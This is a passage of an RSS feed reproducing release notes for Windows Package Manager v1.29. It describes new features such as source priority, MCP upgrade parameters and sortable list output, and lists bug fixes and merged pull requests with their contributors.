<li>Move pre-check errors to post-check by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488618163" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6236" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6236/hovercard" href="https://github.com/microsoft/winget-cli/pull/6236">#6236</a></li>
<li>In-proc certificate pinning validation override by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4479464952" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6233" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6233/hovercard" href="https://github.com/microsoft/winget-cli/pull/6233">#6233</a></li>
<li>Change symlink verification to avoid redirection guard policy by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490077852" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6239" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6239/hovercard" href="https://github.com/microsoft/winget-cli/pull/6239">#6239</a></li>
<li>Bump uuid and @azure/msal-node in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497658174" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6241" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6241/hovercard" href="https://github.com/microsoft/winget-cli/pull/6241">#6241</a></li>
<li>Bump qs from 6.15.1 to 6.15.2 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508521780" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6246" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6246/hovercard" href="https://github.com/microsoft/winget-cli/pull/6246">#6246</a></li>
<li>Ensure portable command alias does not escape directory by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527365695" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6251" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6251/hovercard" href="https://github.com/microsoft/winget-cli/pull/6251">#6251</a></li>
<li>Make sfs-client a vcpkg port by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499084547" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6243" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6243/hovercard" href="https://github.com/microsoft/winget-cli/pull/6243">#6243</a></li>
<li>Bump tmp from 0.2.5 to 0.2.7 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534892375" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6252" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6252/hovercard" href="https://github.com/microsoft/winget-cli/pull/6252">#6252</a></li>
<li>Honor DSCv3 package installMode for silent and interactive by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525632854" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6249" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6249/hovercard" href="https://github.com/microsoft/winget-cli/pull/6249">#6249</a></li>
<li>Fix triage label getting removed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4537505971" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6254" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6254/hovercard" href="https://github.com/microsoft/winget-cli/pull/6254">#6254</a></li>
<li>lowercase ARM64 for vcpkg by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542807796" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6256" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6256/hovercard" href="https://github.com/microsoft/winget-cli/pull/6256">#6256</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DandelionSprout/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DandelionSprout">@DandelionSprout</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3571577317" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5845" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5845/hovercard" href="https://github.com/microsoft/winget-cli/pull/5845">#5845</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kissaki/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kissaki">@Kissaki</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3543261404" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5824" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5824/hovercard" href="https://github.com/microsoft/winget-cli/pull/5824">#5824</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wmmc88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wmmc88">@wmmc88</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3997110317" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6071" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6071/hovercard" href="https://github.com/microsoft/winget-cli/pull/6071">#6071</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GrantMeStrength/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GrantMeStrength">@GrantMeStrength</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4145157508" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6110" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6110/hovercard" href="https://github.com/microsoft/winget-cli/pull/6110">#6110</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AMDphreak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AMDphreak">@AMDphreak</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4111928053" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6096" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6096/hovercard" href="https://github.com/microsoft/winget-cli/pull/6096">#6096</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mamoreau-devolutions/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mamoreau-devolutions">@mamoreau-devolutions</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4311593126" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6172" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6172/hovercard" href="https://github.com/microsoft/winget-cli/pull/6172">#6172</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/microsoft/winget-cli/compare/v1.28.240...v1.29.240"><tt>v1.28.240...v1.29.240</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Package Manager 1.29.250]]></title>
<description><![CDATA[This is a release candidate of Windows Package Manager v1.29. If you find any bugs or problems, please help us out by filing an issue.
New in v1.29
New Feature: Source Priority
NoteExperimental under sourcePriority; defaulted to disabled.

With this feature, one can assign a numerical priority to...]]></description>
<link>https://tsecurity.de/de/3601251/downloads/windows-package-manager-129250/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3601251/downloads/windows-package-manager-129250/</guid>
<pubDate>Tue, 16 Jun 2026 11:31:45 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a release candidate of Windows Package Manager v1.29. If you find any bugs or problems, please help us out by <a href="https://github.com/microsoft/winget-cli/issues">filing an issue</a>.</p>
<h2>New in v1.29</h2>
<h1>New Feature: Source Priority</h1>
<div class="markdown-alert markdown-alert-note"><p class="markdown-alert-title"><svg data-component="Octicon" class="octicon octicon-info mr-2" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z"></path></svg>Note</p><p>Experimental under <code>sourcePriority</code>; defaulted to disabled.</p>
</div>
<p>With this feature, one can assign a numerical priority to sources when added or later through the <code>source edit</code><br>
command. Sources with higher priority are sorted first in the list of sources, which results in them getting put first<br>
in the results if other things are equal.</p>
<div class="markdown-alert markdown-alert-tip"><p class="markdown-alert-title"><svg data-component="Octicon" class="octicon octicon-light-bulb mr-2" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M8 1.5c-2.363 0-4 1.69-4 3.75 0 .984.424 1.625.984 2.304l.214.253c.223.264.47.556.673.848.284.411.537.896.621 1.49a.75.75 0 0 1-1.484.211c-.04-.282-.163-.547-.37-.847a8.456 8.456 0 0 0-.542-.68c-.084-.1-.173-.205-.268-.32C3.201 7.75 2.5 6.766 2.5 5.25 2.5 2.31 4.863 0 8 0s5.5 2.31 5.5 5.25c0 1.516-.701 2.5-1.328 3.259-.095.115-.184.22-.268.319-.207.245-.383.453-.541.681-.208.3-.33.565-.37.847a.751.751 0 0 1-1.485-.212c.084-.593.337-1.078.621-1.489.203-.292.45-.584.673-.848.075-.088.147-.173.213-.253.561-.679.985-1.32.985-2.304 0-2.06-1.637-3.75-4-3.75ZM5.75 12h4.5a.75.75 0 0 1 0 1.5h-4.5a.75.75 0 0 1 0-1.5ZM6 15.25a.75.75 0 0 1 .75-.75h2.5a.75.75 0 0 1 0 1.5h-2.5a.75.75 0 0 1-.75-.75Z"></path></svg>Tip</p><p>Search result ordering in winget is currently based on these values in this order:</p>
<ol>
<li>Match quality (how well a valid field matches the search request)</li>
<li>Match field (which field was matched against the search request)</li>
<li>Source order (was always relevant, but with priority you can more easily affect this)</li>
</ol>
</div>
<p>Beyond the ability to slightly affect the result ordering, commands that primarily target available packages<br>
(largely <code>install</code>) will now prefer to use a single result from a source with higher priority rather than prompting for<br>
disambiguation from the user. Said another way, if multiple sources return results but only one of those sources has<br>
the highest priority value (and it returned only one result) then that package will be used rather than giving a<br>
"multiple packages were found" error. This has been applied to both winget CLI and PowerShell module commands.</p>
<h3>REST result match criteria update</h3>
<p>Along with the source priority change, the results from REST sources (like <code>msstore</code>) now attempt to correctly set the<br>
match criteria that factor into the result ordering. This will prevent them from being sorted to the top automatically.</p>
<h2>Minor Features</h2>
<h3>Preserve installer arguments across export and import</h3>
<p><code>winget export</code> now captures the <code>--override</code> and <code>--custom</code> arguments that were used when a package was originally installed and saves them into the export file. When subsequently running <code>winget import</code>, those values are automatically re-applied during installation — <code>--override</code> replaces all installer arguments and <code>--custom</code> appends extra switches — so packages can be reinstalled with the same customizations without any manual intervention. Both fields are optional and independent of each other; packages without stored installer arguments are unaffected.</p>
<h3>--no-progress flag</h3>
<p>Added a new <code>--no-progress</code> command-line flag that disables all progress reporting (progress bars and spinners). This flag is universally available on all commands and takes precedence over the <code>visual.progressBar</code> setting. Useful for automation scenarios or when running WinGet in environments where progress output is undesirable.</p>
<h3>MCP <code>upgrade</code> support</h3>
<p>The WinGet MCP server's existing tools have been extended with new parameters to support upgrade scenarios:</p>
<ul>
<li><strong><code>find-winget-packages</code></strong> now accepts an <code>upgradeable</code> parameter (default: <code>false</code>). When set to <code>true</code>, it lists only installed packages that have available upgrades — equivalent to <code>winget upgrade</code>. The <code>query</code> parameter becomes optional in this mode, allowing it to filter results or be omitted to list all upgradeable packages. AI agents can use this to answer requests like "What apps can I update with WinGet?"</li>
<li><strong><code>install-winget-package</code></strong> now accepts an <code>upgradeOnly</code> parameter (default: <code>false</code>). When set to <code>true</code>, it only upgrades an already-installed package and returns a clear error if the package is not installed (pointing to <code>install-winget-package</code> without <code>upgradeOnly</code> instead). AI agents can use this to answer requests like "Update WinGetCreate" or, in combination with <code>find-winget-packages</code> with <code>upgradeable=true</code>, "Update all my apps."</li>
</ul>
<h3>Authenticated GitHub API requests in PowerShell module</h3>
<p>The PowerShell module now automatically uses <code>GH_TOKEN</code> or <code>GITHUB_TOKEN</code> environment variables to authenticate GitHub API requests. This significantly increases the GitHub API rate limit, preventing failures in CI/CD pipelines. Use <code>-Verbose</code> to see which token is being used.</p>
<h3>Default priority of installer types</h3>
<p>Installer type selection no longer depends on the order defined on the manifest. Instead, preference is given in this order:</p>
<ul>
<li>MSIX</li>
<li>MSI / Wix / Burn</li>
<li>Nullsoft / Inno / EXE</li>
<li>Portable</li>
</ul>
<p>When a user configures installer type requirements or preferences, the order in which they are listed is now respected during installer selection.</p>
<h3>Improved <code>list</code> output when redirected</h3>
<ul>
<li><code>winget list</code> (and similar table commands) no longer truncates output when stdout is redirected to a file or variable — column widths are now computed from the full result set.</li>
<li>Spinner and progress bar output are suppressed when no console is attached, keeping redirected output clean.</li>
</ul>
<h3>Log file naming strategy</h3>
<p>Added a user setting (<code>logging.fileNameStrategy</code>) for controlling the default naming strategy for installer log files. Supported values are <code>manifest</code> (default), <code>timestamp</code>, <code>guid</code>, and <code>shortguid</code>. Only applies to logs generated by installers if the installer itself supports the logging switch / parameter.</p>
<table>
<thead>
<tr>
<th>Setting</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>manifest</td>
<td>Uses the name of the manifest and a timestamp. Has the same behavior as WinGet 1.28</td>
</tr>
<tr>
<td>timestamp</td>
<td>The log name is just a timestamp</td>
</tr>
<tr>
<td>guid</td>
<td>The log name is a GUID</td>
</tr>
<tr>
<td>shortguid</td>
<td>The log name is the first 8 characters of a GUID</td>
</tr>
</tbody>
</table>
<h3>Sortable <code>list</code> output</h3>
<p><code>winget list</code> now supports sorting results via <code>--sort &lt;field&gt;</code> (repeatable for multi-field sorting), <code>--ascending</code>/<code>--descending</code> direction flags, and a persistent <code>output.sortOrder</code> setting. Available sort fields: <code>name</code>, <code>id</code>, <code>version</code>, <code>source</code>, <code>available</code>, <code>relevance</code>. By default, results are sorted alphabetically by name when no query is present; use <code>--sort relevance</code> to preserve the previous source-determined ordering.</p>
<h2>Bug Fixes</h2>
<ul>
<li><code>winget export</code> now works when the destination path is a hidden file</li>
<li>Fixed the <code>useLatest</code> property in the DSC v3 <code>Microsoft.WinGet/Package</code> resource schema to emit a boolean default (<code>false</code>) instead of the incorrect string <code>"false"</code>.</li>
<li><code>SignFile</code> in <code>WinGetSourceCreator</code> now supports an optional RFC 3161 timestamp server via the new <code>TimestampServer</code> property on the <code>Signature</code> model. When set, <code>signtool.exe</code> is called with <code>/tr &lt;url&gt; /td sha256</code>, embedding a countersignature timestamp so that signed packages remain valid after the signing certificate expires.</li>
<li>File and directory paths passed to <code>signtool.exe</code> and <code>makeappx.exe</code> are now quoted, fixing failures when paths contain spaces.</li>
<li>DSC export now correctly exports WinGet Admin Settings</li>
<li><code>winget validate</code> now performs case-insensitive comparison for file extensions where applicable</li>
<li><code>winget source reset</code> now properly resets default sources instead of removing them</li>
<li>DSC v3 <code>Microsoft.WinGet/Package</code> resource now honors the <code>installMode</code> property to use silent or interactive installer switches as specified</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>Make list details stable by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3888464623" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6020" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6020/hovercard" href="https://github.com/microsoft/winget-cli/pull/6020">#6020</a></li>
<li>Move to IReference rather than custom enum for optional bool by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3892646118" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6022" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6022/hovercard" href="https://github.com/microsoft/winget-cli/pull/6022">#6022</a></li>
<li>Apply latest loc patch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3893629466" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6023" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6023/hovercard" href="https://github.com/microsoft/winget-cli/pull/6023">#6023</a></li>
<li>Bump version to 1.29 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3888315257" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6019" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6019/hovercard" href="https://github.com/microsoft/winget-cli/pull/6019">#6019</a></li>
<li>Remove 'listDetails' from release notes for 1.29 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3893739947" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6026" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6026/hovercard" href="https://github.com/microsoft/winget-cli/pull/6026">#6026</a></li>
<li>Update doc as WinGet is not in preview by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gijsreyn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gijsreyn">@Gijsreyn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3572990820" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5850" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5850/hovercard" href="https://github.com/microsoft/winget-cli/pull/5850">#5850</a></li>
<li>Replaced "(C)" with "©" in the main menu. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DandelionSprout/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DandelionSprout">@DandelionSprout</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3571577317" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5845" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5845/hovercard" href="https://github.com/microsoft/winget-cli/pull/5845">#5845</a></li>
<li>Source priority by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3897735089" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6029" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6029/hovercard" href="https://github.com/microsoft/winget-cli/pull/6029">#6029</a></li>
<li>Update json vcpkg by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3917804123" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6039" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6039/hovercard" href="https://github.com/microsoft/winget-cli/pull/6039">#6039</a></li>
<li>Coalesce comments from loc suggestions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3908837169" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6033" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6033/hovercard" href="https://github.com/microsoft/winget-cli/pull/6033">#6033</a></li>
<li>Update Roadmap Milestones doc by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kissaki/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kissaki">@Kissaki</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3543261404" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5824" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5824/hovercard" href="https://github.com/microsoft/winget-cli/pull/5824">#5824</a></li>
<li>Add copilot instructions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3939854896" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6048" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6048/hovercard" href="https://github.com/microsoft/winget-cli/pull/6048">#6048</a></li>
<li>Add --no-progress option by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3939862223" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6049" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6049/hovercard" href="https://github.com/microsoft/winget-cli/pull/6049">#6049</a></li>
<li>Remove Crescendo PowerShell by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3954834202" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6056" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6056/hovercard" href="https://github.com/microsoft/winget-cli/pull/6056">#6056</a></li>
<li>Fix casing of WinGet by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3958871064" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6059" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6059/hovercard" href="https://github.com/microsoft/winget-cli/pull/6059">#6059</a></li>
<li>Added more info for "Installer Types" values in Settings.md. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DandelionSprout/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DandelionSprout">@DandelionSprout</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3984857044" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6067" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6067/hovercard" href="https://github.com/microsoft/winget-cli/pull/6067">#6067</a></li>
<li>Diagnostics update and stable DSC for tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4048008456" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6084" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6084/hovercard" href="https://github.com/microsoft/winget-cli/pull/6084">#6084</a></li>
<li>feat: authenticate GitHub API requests using GH_TOKEN/GITHUB_TOKEN by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wmmc88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wmmc88">@wmmc88</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3997110317" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6071" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6071/hovercard" href="https://github.com/microsoft/winget-cli/pull/6071">#6071</a></li>
<li>Tool to investigate SQLite compression by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4023664222" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6074" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6074/hovercard" href="https://github.com/microsoft/winget-cli/pull/6074">#6074</a></li>
<li>Add dependencies only option by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3992749991" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6069" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6069/hovercard" href="https://github.com/microsoft/winget-cli/pull/6069">#6069</a></li>
